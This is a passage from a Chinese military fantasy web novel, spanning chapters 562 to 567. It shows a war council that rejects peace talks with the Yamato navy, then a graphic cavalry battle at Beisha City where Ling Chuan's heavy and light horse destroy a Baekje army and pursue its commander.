鲲龙卫乃是当年张泊远打造的水师精锐,曾创下过无数辉煌战绩,第一任主将便是张泊远本人,后来他坐上主帅之位后,将这支精锐交给了东海六蛟之首的韩鲸涛。 然而,十年前那一战,韩鲸涛率领一万鲲龙卫正面硬刚大和水军五万援军,虽然最终将其挡住,但这一战下来,鲲龙卫也十不存一,主将韩鲸涛战死。 之后,毕潮生接管鲲龙卫,他亲手重建编制,然后用了十年时间招募成员,终于让鲲龙卫重现东疆。 虽然如今重建的鲲龙卫无法与十年前的巅峰状态相比,但依旧是东疆水师当之无愧的第一精锐,加之毕潮生的行事风格,让整个正堂的气氛都为之一变。 就在邓、高二人在即将承受不住毕潮生的威压之时,主位上的林远图终于缓缓开口。 “好了!” 林远图平静地吐出两个字,声音不高却带着不容置疑的威严,顿时驱散了堂内凝重的气氛。 邓、高二人如蒙大赦,连忙退回自己的位置坐下,额头上已经渗出细密的汗珠。 林远图的目光转向毕潮生,嘴角泛起一丝若有若无的笑意:“什么风把你吹来了?”他的语气平淡,却让人捉摸不透其中的深意。 毕潮生毫不畏惧地迎上他的目光:“我要是不来,大将军是不是就要放任他们欺负我四哥?”他的声音中夹杂着不加掩饰的怒火,但那双眼睛却锐利如刀。 林远图淡然一笑,轻轻摇头:“不过是意见上的分歧,谈不上欺负!” 毕潮生也没在这件事情上过多纠缠,他扶着卫澜回到位置坐下,动作间透着对这位兄长的敬重。 随后他直奔主题,问道:“大将军,接下来我们怎么做?是继续按兵不动,权当看客,还是出兵配合凌川?” 这个问题如同一块巨石投入平静的湖面,在每个人心中激起涟漪。 林远图并未立即作答,他的目光在堂内缓缓扫过,最后停留在毕潮生身上,眼底精光闪烁。片刻后,他反问道:“你觉得呢?” 毕潮生慵懒地翘起二郎腿,这个在严肃军议中显得颇为不羁的姿势,却无人敢出言指摘。“依末将之见,这一战既然无法避免,那还不如主动出击!” 此言一出,堂内顿时响起一片倒吸凉气的声音。 林远图面色如常,并未表态,只是眼底神色明灭不定,也不知道在想什么。 第一卷 第562章 和平是打出来的 见林远图不说话,那位中年文士蒋参军接过话题,他捋着胡须,语气凝重: “眼下这局势多方对峙、错综复杂,一旦开打势必生灵涂炭。我觉得,还是以和为贵,先派人将大和使团送回去,顺便问问他们的条件!”他言谈举止间,俨然是一副忧国忧民的模样。 毕潮生冷笑一声,那笑声中充满了毫不掩饰的讥讽:“我看有些人是跪得太久,站不起来了吧?”他的目光如利剑般直刺蒋参军。 “毕潮生,你放肆!”蒋参军当场被气得面色通红,指着毕潮生呵斥道。 “我还能再放肆一些,你要不要试试?”毕潮生缓缓站起身,整个人散发出一股令人窒息的压迫感,让蒋参军不由自主地后退了半步。 若是其他人敢这般说话,蒋参军定不会善罢甘休,可面对向来不按常理出牌的毕潮生,他还真不敢轻举妄动。 蒋参军强作镇定,整理了一下衣冠,摆出一副大义凛然的姿态: “我这是为天下苍生着想!武力是解决不了问题的,唯有道理方能带来和平!” “好!”毕潮生点了点头,似乎对他的话表示赞同。 但紧接着他话锋一转,语气陡然变得凌厉:“那劳烦蒋参军这就去跟大和水军讲道理!若是你能让那十万倭奴退兵,我拼尽全力,也要举荐你进太庙!” “你,你这是强词夺理!”蒋参军气急败坏地跺了跺脚,“我跟你这样的人,无话可说!” 毕潮生的冷笑声在堂内回荡,他缓缓起身踱步到蒋参军面前,居高临下地俯视着对方:“这就无话可说了?难道你认为,那些倭奴会比我更好说话?” 他的声音陡然提高,每一个字都如同重锤敲在每个人心上:“我只知道和平是靠打出来的!尊严也是靠打出来的!只有你足够强大的时候,别人才会听你讲道理!” 这番话如同惊雷般在堂内炸响,毕潮生那极具侵略性的目光从在场的每一个人脸上扫过。文官们不自觉地整理衣袖,武将们则下意识地挺直了腰板,却都避开了他的视线。 长久的沉寂之后,林远图沉稳的声音打破了寂静:“说得好!” 他缓缓起身,目光扫过全场,“十日之前,陛下的旨意与兵部军令皆已送达,各州援军也已陆续开动,赶往东疆支援!所以,此战非但要打,更须决胜!” 他踱至堂前,袍袖轻拂:“传令各州,三日之内完成粮草筹集、军队整编、战舰清点,随时待命!”稍作停顿后,他的语气转为凌厉,“陛下已遣刑部亲临督战,廷尉府协查文官武将,若有懈怠军心者,立斩不赦!” 堂内顿时一片肃杀,众将面面相觑,皆知此次主帅是动了真格。 林远图余光冷冷掠过蒋参军:“此战关乎东疆存亡,更系大周国运。东疆上下当竭尽全力!”他手掌重重落在案上,“再有妄言和谈者,军法处置!” 正堂之中鸦雀无声,所有人垂首听令,就连呼吸都变得微不可察。 “彭辽听令!”林远图目光如电。 彭辽应声出列,抱拳的手微微收紧:“末将在!” “明日卯时,遣人将大和使团送往济州岛!” 彭辽神色略显迟疑,但仍沉声应道:“遵命!” 林远图转而看向邓安平与高良钧:“你二人即刻率部返回登州、莱州。” 二人交换了一个眼神,邓安平试探着问道:“大将军是要我等前去协助凌将军?” 林远图冷哼一声:“协助个屁,待你等赶到,战斗怕是早已尘埃落定,你们去打扫战场,帮忙善后还差不多!” “末将明白……”二人面红耳赤地垂下头。 想起此前面对新罗水军时的畏战表现,与凌川的主动出击形成鲜明对比,不禁汗颜。 “记住,”林远图语气森冷,“若再临阵退缩,本帅定取尔等项上人头!” “末将遵命!”二人声音发颤。 林远图环视全场,声若洪钟:“传令各州全面备战,巡海兵力增加一倍,巡查范围扩展至五十里,所有斥候尽数出动,每日军情直报节度府!” “得令!”众将齐声应和。 “另,密切留意凌川所部动向,全力配合其行动。” “是!” 待众人退去,林远图独自立于沙盘前,阳光从窗棂间洒落,在他肩头镀上一层金辉,他的目光在莱州与辽东半岛间往复逡巡,指节无意识地在沙盘边沿轻叩。 良久,他长叹一声:“凌川,你究竟想做什么?” 虽得凌川通报下一步计划,却始终难窥其全盘谋划,他反复推演,仍如雾里看花,想来这必是圣意所在,否则陛下断不会派遣北系将领出任先锋。 说到底,圣心难测。 如今箭在弦上,已无转圜余地,想到神都前段时间的风云变幻,他深知这一战避无可避。 他振作精神,召来亲兵连下数道军令。 离开节度府之后,为了与毕潮生并肩而行。 许久,毕潮生开口问道:“四哥,接下来,我们应该这么做?” “静观其变!”卫澜淡淡吐出四个字,随后他从袖口中取出一封迷信,交给毕潮生:“这是三哥派人送来的,你看看吧!” 毕潮生接过密信简单扫视了几眼,神色不由得凝重起来。 “原来他的目标是新罗跟百济这群跳梁小丑!”毕潮生的眼神中闪过一抹轻蔑与失望,“此举看似能清除干扰,确保能倾力与大和水军一战,实则却是打草惊蛇,依我看,与其去‘修枝剪叶’,还不如集中兵力先干掉大和的主力水军!” “凌川的意图,没有看起来那么简单!”卫澜却是淡笑着摇了摇头,说道:“你想想,他为何不遗余力先干掉这几支小国的军队?又为何舍近求远,要从莱州横渡渤海,去往卑沙城?” 毕潮生神色微变,问道:“那他的意图是什么?” 卫澜再次摇头,说道:“我研究过他以往在北疆的战绩,此人用兵看似喜欢剑走偏锋,实则却是步步为营、环环相扣,心思之缜密,布局之精巧,谋划之长远,绝非一般人能看透的!” 听到卫澜对凌川的评价这么高,毕潮生再次问道:“这位镇北侯,真有这么厉害?” 卫澜笑道:“若是庸碌之辈,陛下怎么可能如此信任他,任他为此次先锋?就算你不相信陛下的眼光,难道你还不相信义父?他可是让我们全力配合凌川,这句话背后的分量,你心里应该清楚。” 第一卷 第563章 北疆重甲 午时未至,舰队已悄然驶入卑沙城西一处僻静海湾。 纪天禄早已安排了一支精干小队在此接应,凌川刚踏上岸边的礁石,便看见一个熟悉的身影快步迎来,正是已升任夜枭营校尉的闻侩,他带着一支二十人的小队在此接应,显然已等候多时。 “属下闻侩,见过将军!”闻侩单膝跪地,甲胄发出清脆的碰撞声。 凌川抬手示意他起身,声音沉稳而急切:“不必多礼!现在这边情况如何?卑沙城在谁手里?” 闻侩站起身,语速快而不乱:“回禀将军,百济的一万先锋军已于前夜被赶到的雁翎骑全歼,卑沙城还在我们手中!” 他稍作停顿,神色凝重了几分,“但百济的两万主力军预计午后便会兵临城下,玄甲营和雁翎骑已在城外设伏,准备伺机歼敌!” 接着,闻侩将唐岿然与柳衡二人的作战计划娓娓道来,每一个细节都交代得清清楚楚。 凌川凝神倾听,待闻侩说完,他眉头微蹙,低声自语:“他们俩胆子也太大了。五千骑兵对阵两万大军,稍有不慎便是万劫不复......” 他抬眼看向闻侩,目光坚定:“你速回去传话,让他们调整战术……” 凌川将自己的战术详细告知闻侩,这是他刚才根据两千玄甲营和三千雁翎骑的布置做出的调整。 “告诉他们,放开手脚打,我定会及时赶到接应!”凌川拍了拍闻侩的肩膀,叮嘱道。 “遵命!”闻侩抱拳领命,随即带着几名斥候翻身上马,身影很快消失在林间小道上,留下的斥候则静静侍立一旁,为大军带路。 凌川转身对亲兵下达命令:“传令蓝少堂,立即将战马转运上岸,全军轻装简从,随我急赴卑沙城!” “另命赵永年、孙孝文率两千棣州军留守战舰,沿海东行,随时准备后续接应!” “是!”亲兵们快速前去传令。 卑沙城外,旌旗蔽野、兵甲林立。 两万新罗主力军宛如黑云一般席卷而来,相隔十里,便能感觉到那股巨大的压迫感。 经过一日抢修,卑沙城得到了有效修复,但在两万大军面前,这座小小城关显得异常单薄。 这支百济主力军中,五千骑兵分列两翼,其余步兵方阵整齐划一。与前夜被全歼的先锋军相比,这两万大军装备精良,军容整肃,显然都是百济的精锐之师。 或许,在他们原本的计划中,那一万先锋军只是先行探路、扫清障碍用的,就凭卑沙城区区两千守军,根本挡不住,却不曾想被及时赶到的雁翎骑捅了屁股,并一举将其杀光。 于廻站在城墙之上,凝重的眼神死死盯着那片缓缓靠近的敌军,身旁的士兵一个个更是紧张到了极点,他们镇守卑沙城这么多年,虽然近几年百济时常出兵侵扰,但却从未像现在这般,直接出动数万大军兵临城下。 “大人,咱们能打赢吗?”身旁一个年轻士兵声音发颤,额角渗出细密的汗珠。 于廻不答,只是举起随身携带的酒囊仰头饮了一口。 浑浊的黄酒顺着他的胡须滴落,在胸甲上洇开深色的痕迹,他抹了把嘴,目光扫过城墙上每一张紧张的面孔,声音沉稳:“凌将军曾不止一次书写过传奇,我相信,这次也一样!” 他抬头看了看渐渐西斜的日头,夕阳将云层染成了血色:“时间差不多了。” 士兵们面面相觑,有人忍不住追问:“大人,柳都尉一早就带着雁翎骑出城了,咱们该做什么?” “柳都尉交代了,待他们冲散敌军阵型后,我们便杀出城区,堵住东南缺口,切断敌军退路!”于廻答道,声音在渐起的风中显得格外坚定。 “若是......若是他们败了怎么办?”那士兵话音刚落就自知失言,慌忙捂住嘴巴。 于廻却没有责备,只是望向远方烟尘滚滚的地平线,嘴角扯出一丝苦笑:“他没说!” 但每个人心里都明白,若是雁翎骑败了,最坏的结果也不过是像前夜那样,所有人一同葬身在这座他们誓死守卫的城池。 百济军阵中,主帅朴居折端坐于高大的战马之上。 这位出身将门世家、被誉为百济战神的统帅,此刻正用冷峻的目光审视着前方的卑沙城,近些年与大周的交锋中,他未尝败绩,此次更是被国王亲封为大元帅,统领大军攻打辽东半岛。 按照与大和帝国的约定,百济负责叩开辽东门户,而后便可肆意扩张,瓜分大周疆土。 大和帝国对这片苦寒之地兴趣缺缺,他们的目标是中原的富庶腹地,这对百济而言,无疑是千载难逢的机遇。 “元帅,我们的斥候一个都没回来!”副将策马近前,低声禀报。 朴居折冷哼一声,眼角皱纹里藏着不屑:“周人就爱耍这些小花招,殊不知在绝对实力面前,一切阴谋诡计都是徒劳!” 他扬起马鞭,直指十里外的卑沙城,声音响彻军阵:“全军听令!推进至卑沙城外五里处休整一个时辰,务必在天黑前踏平卑沙城!” 就在这时,西面传来滚滚闷雷,又像是一面巨大的战鼓在雷动,地面都随之颤抖。 最终化作震耳欲聋的铁蹄轰鸣,大地开始剧烈颤抖,仿佛有巨兽正从地平线下苏醒。 全军将士不约而同地转头望去,只见一面大旗在烟尘中猎猎作响。 大旗之上,雪山高高耸立、下方一条黑色大河奔腾流淌,尽显巍峨之势。 众人皆是一愣,因为这并非是东疆水师的军旗,忽然,一名副将脸色剧变,大喊道:“那是北疆云州军的白山黑水旗!” 白山黑水旗! 大部分士兵都没听说过,但作为大元帅的朴居折却回忆起了几个月前接到的一封情报,上面提到北疆云州军先后成立三营,其中一支玄甲营便是授予了这白山黑水旗。 当时,他并未放在心上,毕竟,他们与大周北系军并无直接接触,没想到,今日竟然见到了这面旗帜。 “是北疆重甲!全军防御!”朴居折反应极快,立刻下达命令。 第一卷 第564章 玄甲无敌 长枪兵和盾牌手迅速向西侧集结,试图在玄甲营的铁骑到来前组建起防御阵型。 而此时,白山黑水旗下的军团终于显露出全貌。 两千玄甲重骑如同黑色的钢铁洪流,人马俱披重甲,在阳光下泛着冷冽的金属光泽,骑兵们俯身马背,长枪平举,每一双眼睛都透着饿狼般的凶光。 沉重的马蹄叩动大地,发出令人心颤的闷响,尽管相隔两三里,他们都能感觉到地面在微微颤抖,身后更是扬起漫天尘土。 领头之人身形魁梧,身上那股气势更是令人心悸。 这自然是唐岿然带来的两千玄甲军,他们的行军速度比不上雁翎骑,直到今日凌晨才赶到卑沙城。 与柳衡了解情况之后,二人很快便制定了作战计划,那就是将这两万百济主力军阻拦在卑沙城外五里的这片开阔大地上。 见浑身被铁甲包裹的重骑军如黑色潮水般滚滚袭来,两万百济大军无不变色。 那沉重的马蹄声仿佛踏在每个人的心口,连空气都为之震颤。 即便是久经沙场的元帅朴居折,眼神中也闪过一抹难以掩饰的惊慌,尽管对方只有两千人,但那铺天盖地的气势却让人喘不过气来。 “再设一道防御阵型!骑兵分两侧准备围剿!”他厉声喝道,声音中带着一丝自己都未察觉的紧绷。 就在此时,东面也传来急促的马蹄声,让本已紧张的百济军心再添一分慌乱。 转头望去,只见一支轻骑从东面疾驰而来,惊电裂云旗在风中猎猎作响,这支约三千人的骑兵速度极快,宛如一道黑色闪电,转眼间就已近在咫尺。 “全军列阵,拦住他们!”朴居折再次下令,声音中带着几分焦躁。 传令兵飞奔着将命令传达下去,然而两万大军从接到命令到完成列阵,绝非短时间内能够完成,即便平日里加强训练,面对如此突如其来的双面夹击,也很难做到如臂使指。 “杀!” 雁翎骑后发先至,自东面直扑敌军阵型,不得不说,百济军的反应也堪称迅速,大量的盾牌手和长枪手快速移动到前方,列出严密的防御阵型。 然而令他们意想不到的是,雁翎骑在距离他们一百五十步时忽然变阵,如行云流水般从中间一分为二,然后如两条游龙般围绕着大军阵型疾驰起来。 百济军还未明白发生了什么,雁翎骑已经纷纷举起破甲弓,弯弓搭箭的动作整齐划一。 “放箭!” 随着一声令下,箭雨如索命飞蝗,从飞速移动的雁翎骑手中倾泻而出。 由于队伍中的盾牌手都被调至前方组建防御阵型,军阵内部几乎毫无防备,面对这密集的箭雨,百济士兵既无法抵挡,也无处躲避,只能成为活靶子。 凄厉的惨叫声顿时在军阵中响起,中箭的士兵如割麦般倒下。 百济军阵中虽然也有弓箭手,但雁翎骑始终将距离精确控制在一百五十步外。 这正好是破甲弓发挥最大杀伤力,却又超出对方弓箭射程的绝妙距离。 与此同时,唐岿然率领的两千玄甲军也已杀到近前。 面对百济军仓促射出的箭雨,玄甲军士兵视若无睹,任其落在厚重的铠甲上。 箭矢撞击铁甲发出叮叮当当的声响,却根本无法穿透,最多只能在铠甲上留下一道白痕,便无力地弹开。 “起枪!” 冲在队伍最前方的唐岿然一声冷喝,声音如同金石交击,在战场上清晰可闻。 所有士兵同时提起手中铁枪,动作整齐得如同一个人,两千重甲骑兵顿时化作一支锐不可当的巨型箭矢,直扑百济大军阵型的腰部。 “砰!” 震耳欲聋的巨响中,盾阵应声而破,几名持盾的百济士兵连同其身后的枪兵一同被撞飞出去,场面暴戾而惨烈。 唐岿然身先士卒,率先将敌军的盾阵撕开一道口子,他手中的霸王卸甲如蛟龙出海,一枪直接将一名敌军士兵的胸膛贯穿。 两侧的玄甲营士兵紧随其后,迅速将那道口子扩大,如同撕裂布帛般轻易。 “嗤嗤嗤……” 长枪刺入肉体的声音不绝于耳,在战马的快速冲锋下,被贯穿的士兵直接被挂在长枪上,带着往前奔跑,直到枪身下垂,尸体才被甩落在地,随即被后续的铁蹄踏为肉泥。 相比起几个月前,玄甲营士兵的眼神更加坚定锐利,即便面对足足两万大军的阵营,他们的眼中也没有丝毫怯意,只有冰冷的杀意。 队伍的锋线整齐得令人窒息,宛如一道移动的钢铁城墙,所有人的出枪动作干净利落,这必然是平日里严格训练的结果。 唐岿然给他们的命令是一击致命,若未命中目标,也不得私自补枪,而是保持节奏拔枪收回,蓄力准备下一次出击,那些漏网之鱼,自然有后面的同袍收拾。 仅仅一个照面,第一道防御盾阵就被玄甲营以摧枯拉朽之势碾碎,即便是那些侥幸未被当场撕碎的士兵,也被后续的重骑踏成肉泥,在黑土地上留下触目惊心的血迹。 而此时,唐岿然已经率部杀到第二道防御盾阵前。 尽管这道防线的士兵亲眼目睹了前一道防线的悲惨下场,但面对如山崩海啸般席卷而来的玄甲军,他们根本来不及调整战术,只能硬着头皮,按照既定的战术,盾阵防御,长枪拒马。 这套战术在野外作战中,用来对付普通骑兵确实有效,特别是在没有城池堡垒、来不及布置更多防御工事的情况下,这已经是最好的选择。 只可惜,他们这次遇到的是凌川亲手打造的重骑兵,不仅人马俱甲,而且无论是战马还是士兵,都是优中选优的精锐。 “轰!” 又是一次猛烈撞击,盾牌应声碎裂,盾牌手吐血倒飞。 一杆杆长枪刺在战马身上,非但没能破开重甲,反而枪杆尽数折断,玄甲营的冲锋之势,简直如同天灾降临,不可阻挡。 片刻之间,两道防御盾阵尽数被碾碎,列阵的百济士兵无一生还,不是倒在玄甲营的长枪之下,就是被铁蹄活活踩死。 第一卷 第565章 杀穿他们! 攻破两重防御之后,玄甲营的锋线只是出现了轻微错位,但士兵们很快调整步伐,迅速恢复整齐的阵型,继续朝着百济军阵型深处冲去。 军阵之中的朴居折眼睁睁看着两道防线被轻易碾碎,内心不由得为之一沉。 他很清楚,若不能将这支重骑兵拦截在阵型之外,任由其冲入大军腹地,后果将不堪设想。 即便最终能够将其困住、蚕食殆尽,己方也将付出惨重的代价,更何况,还有三千轻骑在外围策应,不断放箭袭扰。 此时,这两万百济大军就像一头被困在泥沼中的巨兽,不仅动弹不得,还要面对重骑兵发动的致命一击。 霎时间,朴居折的脸色变得无比难看,但他毕竟是将门之后,并非外强中干的草包,他深吸一口气,强行让自己镇定下来,目光中重新燃起战意。 “骑兵压上去,给我不计代价拦住他们!”朴居折当机立断,声音中带着破釜沉舟的决绝。 他果断将五千骑兵派了出去,尽管这五千骑兵是他的家底,但眼下也顾不得这么多了,唯有以骑兵对骑兵,才有可能挡住对方的冲锋。 当然,他心知肚明,自己的五千骑乃是轻骑,正面碰撞断然不是重甲军的对手。好在数量是对方的两倍多,他现在就是要用这五千骑来换掉对方的两千重骑。 早已整装待命的五千骑从两侧杀出,在军阵前方合拢一处,试图组成一道血肉之墙,挡住唐岿然的玄甲营。 只可惜,他们终究还是低估了重骑兵的恐怖,特别是这种已经形成冲锋态势的重甲军,其可怕程度远超想象。 见五千骑兵朝自己袭来,唐岿然再次举枪,声如洪钟:“杀穿他们!” 身后两千玄甲营士兵齐声怒吼,声震四野。 他们纷纷举起铁枪,调整呼吸,在飞驰中蓄积着下一波致命冲击的力量,每一个士兵的眼神都坚定如铁,杀意弥漫。 “砰砰砰……” 震耳欲聋的撞击声接二连三响起,两股骑兵洪流猛烈地冲撞在一起,金石撞击声令人心颤。 就在相撞的一瞬间,双方的实力差距暴露无遗。 玄甲营清一色配备的大宛马虽然速度不及草原马,但体型魁梧强健,爆发力惊人,根本不是百济骑兵那些当地战马所能比拟的。 战马嘶鸣声中,玄甲营骑兵如摧枯拉朽般向前推进,每一个骑卒都是百里挑一的壮汉,体力充沛得令人咋舌。 更重要的是,他们一直按照凌川制定的严苛标准进行训练,其战斗力岂是这支普通百济骑兵所能抗衡? 仅仅一个照面,百济骑兵的阵型就被硬生生撕裂开一道缺口,唐岿然一马当先,如利刃般刺入敌阵,直到整个锋矢阵完全没入敌军骑阵,他才猛地挺枪出击。 “嗤嗤嗤……” 两千杆长枪如同索命的毒蛇同时刺出,寒光闪烁间,近千名百济骑兵应声落马。 这一轮凶猛的凿阵,不仅造成了一千多人伤亡,更将百济骑兵的阵型彻底撕裂,随着玄甲营不断深入,整个骑阵眼看就要被一分为二。 自古以来,骑兵交战都以阵型为根本,这不是没有道理的,此刻百济骑兵阵型被破,受惊的战马四处乱窜,使得阵型一片混乱。 那些侥幸活下来的骑兵在亲眼见识了玄甲营的恐怖之后,一股寒意从心底升起,许多人当场被吓傻了,哪里还有半分战意? 不到一炷香的时间,五千百济骑兵已经折损近半,却依然无法阻挡玄甲营的铁蹄。 眼看着玄甲营以不可阻挡之势直奔中军而来,朴居折的眼中终于浮现出绝望之色。 阵营外围,三千雁翎骑来去如风,不断袭扰放箭,他们一方面在射杀敌军的有生力量,但更主要的目的是将这两万大军死死困在原地,使其无法移动。 唐岿然的重甲军则只有一个目标,将敌军阵型拦腰斩断,使其首尾不能相顾。 然而,这一切都只是铺垫,真正的重头戏还在后面。 “杀!” 就在此时,一支骑兵从卑沙城方向杀来,他们没有打出任何旗帜,但全员身姿挺拔、杀气腾腾,一看就是身经百战的精锐之师,数量更是多达五千人。 领头之人身形魁梧,手中握着一把厚重的陌刀,即便隔着很远的距离,也能感受到那刀锋上散发出的刺骨寒意。 见到这一幕,朴居折彻底绝望了! 然而,更让他绝望的还在后面…… “杀光他们!” 又一声震天怒吼从阵营后方传来,惊魂未定的朴居折急忙扭头望去,后方不知何时也出现了一支骑兵,人数与前方杀来的差不多,都在五千左右。 领头的是一名英俊年轻男子,手持一杆长枪,英姿卓绝。 这两支骑兵虽然都是轻甲,但与雁翎骑的铠甲样式不同,毋庸置疑的是,他们都是周军。 朴居折只觉脑袋里嗡的一声巨响,眼前一黑,险些从马背上栽倒下来。他想破脑袋也不明白,小小一座卑沙城,原本只有两千守军,为何会突然冒出一万多周军? 这一刻,朴居折真正体会到了什么叫绝望。 他明白,这一战,自己败了,而且是惨败! 此时,大军阵型已经被玄甲营拦腰斩断,以至于他的命令根本无法传达出去,两万大军彻底陷入瘫痪。 一名副将满脸惊恐地冲到他身边,声音嘶哑地喊道:“元帅,四面八方都是周军,快走吧!属下带亲兵营掩护您杀出去!” 朴居折表情木讷,眼神黯淡,全然没有了之前的意气风发,只剩下无尽的颓败与深深的绝望。 “元帅,快走吧,不然就来不及了!”那副将急得额头青筋暴起,声音中带着哭腔。 朴居折的眼神中终于恢复了一丝清明,他抬起沉重的目光,望向卑沙城的方向,眼中满是不甘。 半个时辰之前,他还意气风发、指点江山,豪言要在日落之前攻下卑沙城。然而短短半个时辰,他就从云端跌入深渊,所有的雄心壮志、所有的未来蓝图都被撕得粉碎。 第一卷 第566章 贼将休走 前后杀来的两支骑兵,正是凌川和蓝少堂各自率领的五千骑。 凌川提前让闻侩传令给二人,调整了战术,由他们两支骑兵相互配合打头阵,旨在将对方阵型打乱,将他们的气势碾压下去。 然后,一分为二的一万禁军自前后杀出,将他们彻底打垮,一锤定音,为这场战斗盖棺定论。 此举不仅能减少己方伤亡,还能将这两万敌军尽数吞下,不留漏网之鱼。 随着一万禁军前后夹击,本就已经乱作一团的百济军阵型彻底溃散,接下来,等待他们的只有被收割的命运。 一万禁军兵分两路从前后碾压而来,两千玄甲营将大军阵营一分为二,再加上外围还有三千雁翎骑策应压制,让他们连逃跑都做不到。 事实上,当凌川与蓝少堂率领的一万禁军出现之时,这场战斗就已经没有了悬念。 唐岿然的玄甲营在凿穿敌阵之后并没有闲着,而是立即调转马头,开始了第二次冲阵。 这一次,他们不再使用之前的楔形阵,而是直接列出了方阵。 这种阵型通常用在敌军阵型已经被彻底击溃,无法形成有效防御的情况下。 方阵将骑兵的杀伤力最大化,一路碾压过去,所过之处无人幸免,敌军不是被铁枪捅死,就是成为马蹄下的碎肉。 前后两端,禁军面对的是已经被吓破胆、毫无抵抗之力的敌军,同样以碾压之势进行收割。 聂星寒弯弓搭箭,弓弦震动间,一支利箭破空而出,精准地射中了百济大军的帅旗。旗杆应声而断,帅旗缓缓飘落。 帅旗一倒,本就吓破胆的百济军仿佛被打掉了最后一口气,彻底失去了斗志。 卑沙城城墙之上,于廻带着一千余守军亲眼目睹了这一场大战。 所有人都震惊得说不出话来,不少士兵更是激动得浑身发抖,恨不得立即拿起武器冲出去,加入到这场战斗中杀个痛快。 蓝少堂手中的陌刀不断挥舞,刀光闪烁间,所过之处鲜血飞溅,满地都是残肢断臂,惨叫声与哀嚎声连成一片,在战场上回荡。 另一端,凌川手持破殇锋,一路横扫深入。 一开始的时候,还遇到过几次像样的反击,可杀到后面,很多百济士兵连手中的武器都丢掉了,跪在地上连连求饶。 凌川没有半点迟疑,更没有丝毫怜悯,直接一路横推,他的眼神冷峻如冰,每一次出枪必有一名敌人被斩杀。 “不好,敌军主帅要跑!”忽然,身边一名亲兵大喊一声。 “洛青云!”凌川的声音斩钉截铁。 “在!”浑身浴血的洛青云手持长槊,策马来到凌川身侧。他的战甲上沾满了血迹,但眼神依然锐利如鹰。 凌川目光如电,直指正在试图突围的朴居折:“你带死字营去,把敌军主将给我截住!” “遵命!”洛青云洪声应道,随即高举手中长槊,向着身后浴血奋战的死字营将士们大吼:“死字营,随我来!” 三百铁骑应声而出,如离弦之箭般撕裂战场,直扑朴居折逃离的方向。 铁蹄踏碎泥土,溅起混合着血水的泥浆,每一个死字营士兵的眼神都冷如寒铁,紧紧锁定着前方那道仓皇逃窜的身影。 敌军阵营中,朴居折在亲兵营的拼死护卫下开始突围,这支亲兵不愧是百济精锐中的精锐,即便在这等绝境中,依然保持着严密的阵型。 他们巧妙地避开了玄甲营主力冲锋的路径,却在侧翼遭遇了雁翎骑的拦截。 “结阵,保护元帅杀出去!”亲兵统领声嘶力竭的呼喊,声音中带着破釜沉舟的决绝。 亲兵们立刻变换阵型,将朴居折护在中央,盾牌层层叠叠,组成一道移动的钢铁壁垒。 雁翎骑原本处于分散袭扰的状态,面对这支训练有素的亲兵营突然发起的突围,顿时感到压力倍增。箭雨虽然密集,却大多被盾牌挡下,只能发出‘叮叮当当’的脆响。 “给我挡住他们!” 一名雁翎骑的标长大声咆哮,率先收起破甲弓,‘锵’的一声拔出腰间战刀扑了上去,周围的骑兵纷纷效仿,雪亮的刀锋在夕阳下划出刺目的寒光,朝着亲兵营的防线狠狠撞去。 不远处的柳衡见状,立即调转马头,大声呼喝着召集部下。 可他短时间内能够集结的兵力有限,眼看着亲兵营就要撕开一道缺口,就在这时,他眼角的余光瞥见了正率部疾驰而来的洛青云,顿时明白了对方的意图。 但即便如此,他还是没有轻易放其离开,而是在这支敌军身上狠狠剜下一块肉来。 朴居折的亲兵营在付出数百人的惨重代价后,终于杀出一条血路,鲜血染红了他们的战甲,每个人的脸上都带着拼死一搏的狰狞。 然而还没等他们喘过气来,侧面突然传来一声震天暴喝: “贼将哪里走!” 只见聂星寒一马当先,率领三百死字营如旋风般杀到,他们依旧采用惯用的战术,在奔驰中娴熟地张弓搭箭。 只听刺耳的破空声接连响起,三轮精准的抛射之后,敌军亲兵营中顿时又有百余人中箭落马,惨叫声此起彼伏。 此时洛青云的队伍也已经杀到近前,所有人动作整齐划一,迅速收起破甲弓,随即取下长枪紧握在手。 这一连串动作行云流水,显示出平日里严苛训练烙进骨子里的记忆。 “杀!”洛青云一声暴吼,他身先士卒,长枪如蛟龙出海,直取敌军核心。 亲兵营中那名副将脸色剧变,当机立断下令:“分兵阻击!其余人保护元帅继续撤离!” 他坚信周军的主力都在主战场,这支追击部队的战力应该强不到哪里去,但为了稳妥起见,还是决定分出一半兵力进行拦截。 然而很快,这名副将就为自己的轻敌付出了代价。 仅仅一个照面,洛青云所率的死字营就如热刀切牛油般,轻而易举地冲散了亲兵营的防御阵型,每一杆长枪都像是长了眼睛,精准地刺穿敌人的要害,非死即残。 第一卷 第567章 擒获敌军主帅 鲜血在空中飞溅,将黄昏的天空染得愈发猩红。 洛青云根本无意与这些阻击的敌军纠缠,在冲散阵型后,他立即带着死字营成员继续追击,尽管敌军的亲兵营在逃命,但死字营配备的都是精挑细选的甲等草原马,速度惊人,很快就将距离拉近到一箭之内。 “放箭!”洛青云的声音冷峻如冰。 死字营成员再次张弓搭箭,箭矢如飞蝗般射向逃窜的敌军,每一轮齐射都会带走数十条性命,亲兵营的人数在以肉眼可见的速度减少。 那名副将见情况危急,不得不再次召集队伍停下来阻击。 他的眼神中已经透出绝望,却依然嘶哑着喊道:“为了百济!随我杀!” “枪!”洛青云大喝一声,声音中带着不容置疑的威严。 死字营成员再次收弓换枪,阵型在奔驰中迅速调整,如同一把出鞘的利剑,朝着敌军狠狠刺去。 另一边,正在率军杀敌的凌川敏锐地发现了朴居折的突围。 他眉头微蹙,立即对身边的苍蝇下令:“带亲兵队去支援洛青云,务必生擒敌酋!” 苍蝇面露犹豫,目光在凌川和远去的敌军之间来回扫视:“将军,亲兵营必须护在您左右......” “执行命令!”凌川的声音不容置疑,眼神锐利如鹰。 苍蝇咬了咬牙,最终只带了两百亲兵前去,将一百多人留给了大牛和张破虏,语气森然:“保护好将军,若有闪失,我拿你们是问!” 敌军亲兵营的两次阻击确实延缓了洛青云的步伐,这些百济亲兵显然是抱定了必死之心,不惜以血肉之躯阻挡死字营的追击。 洛青云虽然再次冲破了第二道防线,但朴居折已经在剩余的两百亲兵掩护下逃出了一段距离。 就在这紧要关头,一声暴喝从侧翼传来: “贼将休走!” 只见苍蝇亲率的两百亲兵队如神兵天降,以更快的速度包抄而来,让敌军一个个脸色瞬间变得惨白。 这支仓皇逃窜的亲兵队早已是惊弓之鸟,本以为终于摆脱了死字营的追杀,正欲松一口气,却不想另一支精锐部队如鬼魅般从侧翼杀出,彻底截断了他们的去路。 